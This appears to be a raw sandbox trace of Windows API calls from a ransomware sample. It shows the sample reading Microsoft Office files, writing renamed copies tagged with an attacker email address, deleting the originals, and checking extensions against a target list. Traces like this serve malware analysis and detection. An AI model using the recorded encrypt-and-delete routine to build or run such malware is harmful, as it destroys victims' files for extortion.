0xffffffff [0257.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.199] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.199] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0257.200] GetLastError () returned 0x0 [0257.200] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xcd90, lpOverlapped=0x0) returned 1 [0257.213] WriteFile (in: hFile=0x3f0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xcda0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xcda0, lpOverlapped=0x0) returned 1 [0257.215] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.215] WriteFile (in: hFile=0x3f0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0257.215] SetEndOfFile (hFile=0x3f0) returned 1 [0257.215] CloseHandle (hObject=0x3f0) returned 1 [0257.215] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.215] SetEndOfFile (hFile=0x3dc) returned 1 [0257.218] CloseHandle (hObject=0x3dc) returned 1 [0257.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl")) returned 1 [0257.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0257.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0257.219] lstrlenW (lpString=".doc") returned 4 [0257.219] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0257.219] lstrlenW (lpString=".docx") returned 5 [0257.219] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0257.219] lstrlenW (lpString=".pdf") returned 4 [0257.219] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0257.219] lstrlenW (lpString=".xls") returned 4 [0257.219] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0257.219] lstrlenW (lpString=".xlsx") returned 5 [0257.219] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0257.219] lstrlenW (lpString=".ppt") returned 4 [0257.219] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0257.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0257.219] lstrlenW (lpString=".zip") returned 4 [0257.219] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0257.219] lstrlenW (lpString=".rar") returned 4 [0257.219] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0257.219] lstrlenW (lpString=".bz2") returned 4 [0257.219] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0257.219] lstrlenW (lpString=".7z") returned 3 [0257.219] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0257.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0257.219] lstrlenW (lpString=".dbf") returned 4 [0257.219] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0257.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0257.219] lstrlenW (lpString=".1cd") returned 4 [0257.220] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0257.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0257.220] lstrlenW (lpString=".jpg") returned 4 [0257.220] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0257.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0257.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0257.220] lstrlenW (lpString=".doc") returned 4 [0257.220] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0257.220] lstrlenW (lpString=".docx") returned 5 [0257.220] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0257.220] lstrlenW (lpString=".pdf") returned 4 [0257.220] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0257.220] lstrlenW (lpString=".xls") returned 4 [0257.220] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0257.220] lstrlenW (lpString=".xlsx") returned 5 [0257.220] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0257.220] lstrlenW (lpString=".ppt") returned 4 [0257.220] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0257.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0257.220] lstrlenW (lpString=".zip") returned 4 [0257.220] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0257.220] lstrlenW (lpString=".rar") returned 4 [0257.220] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0257.220] lstrlenW (lpString=".bz2") returned 4 [0257.220] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0257.220] lstrlenW (lpString=".7z") returned 3 [0257.220] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0257.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0257.220] lstrlenW (lpString=".dbf") returned 4 [0257.220] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0257.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0257.220] lstrlenW (lpString=".1cd") returned 4 [0257.220] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0257.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0257.220] lstrlenW (lpString=".jpg") returned 4 [0257.220] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0257.221] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.221] lstrlenW (lpString="XLINTL32.DLL") returned 12 [0257.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.232] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=2362752) returned 1 [0257.232] CloseHandle (hObject=0x3c8) returned 1 [0257.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll")) returned 0x20 [0257.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0257.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0257.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0257.233] lstrlenW (lpString=".doc") returned 4 [0257.233] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.233] lstrlenW (lpString=".docx") returned 5 [0257.233] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0257.233] lstrlenW (lpString=".pdf") returned 4 [0257.233] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.233] lstrlenW (lpString=".xls") returned 4 [0257.233] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.233] lstrlenW (lpString=".xlsx") returned 5 [0257.233] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0257.233] lstrlenW (lpString=".ppt") returned 4 [0257.233] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0257.233] lstrlenW (lpString=".zip") returned 4 [0257.233] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.233] lstrlenW (lpString=".rar") returned 4 [0257.233] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.233] lstrlenW (lpString=".bz2") returned 4 [0257.233] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.234] lstrlenW (lpString=".7z") returned 3 [0257.234] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0257.234] lstrlenW (lpString=".dbf") returned 4 [0257.234] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0257.234] lstrlenW (lpString=".1cd") returned 4 [0257.234] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0257.234] lstrlenW (lpString=".jpg") returned 4 [0257.234] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0257.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0257.234] lstrlenW (lpString=".doc") returned 4 [0257.234] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.234] lstrlenW (lpString=".docx") returned 5 [0257.234] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0257.234] lstrlenW (lpString=".pdf") returned 4 [0257.234] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.234] lstrlenW (lpString=".xls") returned 4 [0257.234] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.234] lstrlenW (lpString=".xlsx") returned 5 [0257.234] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0257.234] lstrlenW (lpString=".ppt") returned 4 [0257.234] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0257.234] lstrlenW (lpString=".zip") returned 4 [0257.234] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.234] lstrlenW (lpString=".rar") returned 4 [0257.234] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.234] lstrlenW (lpString=".bz2") returned 4 [0257.234] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.234] lstrlenW (lpString=".7z") returned 3 [0257.234] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0257.234] lstrlenW (lpString=".dbf") returned 4 [0257.235] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0257.235] lstrlenW (lpString=".1cd") returned 4 [0257.235] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL") returned 60 [0257.235] lstrlenW (lpString=".jpg") returned 4 [0257.235] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.235] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0257.235] lstrlenW (lpString="XLINTL32.DLL.IDX_DLL") returned 20 [0257.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.235] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=99200) returned 1 [0257.235] CloseHandle (hObject=0x3c8) returned 1 [0257.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll")) returned 0x20 [0257.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.236] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.236] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0257.237] GetLastError () returned 0x0 [0257.237] ReadFile (in: hFile=0x3c8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x18380, lpOverlapped=0x0) returned 1 [0257.240] WriteFile (in: hFile=0x3a8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x18390, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x18390, lpOverlapped=0x0) returned 1 [0257.242] ReadFile (in: hFile=0x3c8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.242] WriteFile (in: hFile=0x3a8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0257.242] SetEndOfFile (hFile=0x3a8) returned 1 [0257.243] CloseHandle (hObject=0x3a8) returned 1 [0257.243] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.243] SetEndOfFile (hFile=0x3c8) returned 1 [0257.248] CloseHandle (hObject=0x3c8) returned 1 [0257.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll")) returned 1 [0257.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0257.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0257.409] lstrlenW (lpString=".doc") returned 4 [0257.409] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0257.409] lstrlenW (lpString=".docx") returned 5 [0257.409] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0257.409] lstrlenW (lpString=".pdf") returned 4 [0257.409] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0257.409] lstrlenW (lpString=".xls") returned 4 [0257.409] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0257.409] lstrlenW (lpString=".xlsx") returned 5 [0257.409] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0257.409] lstrlenW (lpString=".ppt") returned 4 [0257.409] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0257.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0257.409] lstrlenW (lpString=".zip") returned 4 [0257.409] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0257.409] lstrlenW (lpString=".rar") returned 4 [0257.409] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0257.409] lstrlenW (lpString=".bz2") returned 4 [0257.409] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0257.409] lstrlenW (lpString=".7z") returned 3 [0257.409] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0257.409] lstrlenW (lpString=".dbf") returned 4 [0257.409] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0257.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0257.409] lstrlenW (lpString=".1cd") returned 4 [0257.409] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0257.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0257.410] lstrlenW (lpString=".jpg") returned 4 [0257.410] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0257.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0257.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0257.410] lstrlenW (lpString=".doc") returned 4 [0257.410] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0257.410] lstrlenW (lpString=".docx") returned 5 [0257.410] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0257.410] lstrlenW (lpString=".pdf") returned 4 [0257.410] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0257.410] lstrlenW (lpString=".xls") returned 4 [0257.410] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0257.410] lstrlenW (lpString=".xlsx") returned 5 [0257.410] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0257.410] lstrlenW (lpString=".ppt") returned 4 [0257.410] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0257.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0257.410] lstrlenW (lpString=".zip") returned 4 [0257.410] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0257.410] lstrlenW (lpString=".rar") returned 4 [0257.410] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0257.410] lstrlenW (lpString=".bz2") returned 4 [0257.410] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0257.410] lstrlenW (lpString=".7z") returned 3 [0257.410] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0257.410] lstrlenW (lpString=".dbf") returned 4 [0257.410] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0257.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0257.410] lstrlenW (lpString=".1cd") returned 4 [0257.410] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0257.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0257.410] lstrlenW (lpString=".jpg") returned 4 [0257.410] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0257.411] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.411] lstrlenW (lpString="XLLEX.DLL") returned 9 [0257.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0257.414] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=37760) returned 1 [0257.414] CloseHandle (hObject=0x3f0) returned 1 [0257.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll")) returned 0x20 [0257.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0257.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0257.414] lstrlenW (lpString=".doc") returned 4 [0257.414] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.414] lstrlenW (lpString=".docx") returned 5 [0257.415] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0257.415] lstrlenW (lpString=".pdf") returned 4 [0257.415] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.415] lstrlenW (lpString=".xls") returned 4 [0257.415] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.415] lstrlenW (lpString=".xlsx") returned 5 [0257.415] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0257.415] lstrlenW (lpString=".ppt") returned 4 [0257.415] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0257.415] lstrlenW (lpString=".zip") returned 4 [0257.415] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.415] lstrlenW (lpString=".rar") returned 4 [0257.415] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.415] lstrlenW (lpString=".bz2") returned 4 [0257.415] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.415] lstrlenW (lpString=".7z") returned 3 [0257.415] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0257.415] lstrlenW (lpString=".dbf") returned 4 [0257.415] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0257.415] lstrlenW (lpString=".1cd") returned 4 [0257.415] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0257.415] lstrlenW (lpString=".jpg") returned 4 [0257.415] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0257.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0257.415] lstrlenW (lpString=".doc") returned 4 [0257.415] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.415] lstrlenW (lpString=".docx") returned 5 [0257.415] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0257.415] lstrlenW (lpString=".pdf") returned 4 [0257.416] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.416] lstrlenW (lpString=".xls") returned 4 [0257.416] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.416] lstrlenW (lpString=".xlsx") returned 5 [0257.416] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0257.416] lstrlenW (lpString=".ppt") returned 4 [0257.416] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0257.416] lstrlenW (lpString=".zip") returned 4 